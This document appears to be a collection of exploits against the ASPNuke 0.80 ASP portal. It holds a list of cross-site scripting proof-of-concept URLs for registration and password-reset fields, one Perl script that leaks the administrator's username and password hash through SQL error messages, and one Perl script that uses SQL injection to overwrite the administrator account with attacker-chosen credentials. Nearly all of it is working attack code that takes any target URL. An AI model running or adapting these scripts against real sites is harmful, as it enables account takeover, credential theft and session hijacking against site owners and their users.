The following proof of concept URI are available:
http://www.example.com/module/account/register/forgot_password.asp?email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?FirstName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?LastName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Password=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address1=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address2=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?City=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

#!/usr/bin/perl -w
#
# SQL Injection Exploit for ASPNuke <= 0.80
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for ASPNuke <= 0.80 =\n";
print "\t=     by Alberto Trivero      =\n";
print "\t===============================\n\n";

if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";
   exit(0);
}

$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
print "[-] Unable to retrieve Username\n" if(!$1);
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

#!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
######################################################################################
# EXPLOIT FOR: ASPNuke ASP Portal
#
# Expl0it By: mh_p0rtal@Yahoo.com
#
# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)
#
######################################################################################
#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke
#  And Iranian Security & Technical Sites:
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team
######################################################################################
use IO::Socket;

if (@ARGV < 1)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By mh_p0rtal --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "   ASPNuke.pl www.Site.com \n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "[+]C0nn3cted\n";

$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print $remote $addr;
print "[+]Wait...";
sleep(5);
print "Wait For Changing Password ...\n";

print "[+]OK , Now Login With : \n";
print "Username: trapset\n";
print "Password: trapset\n\n";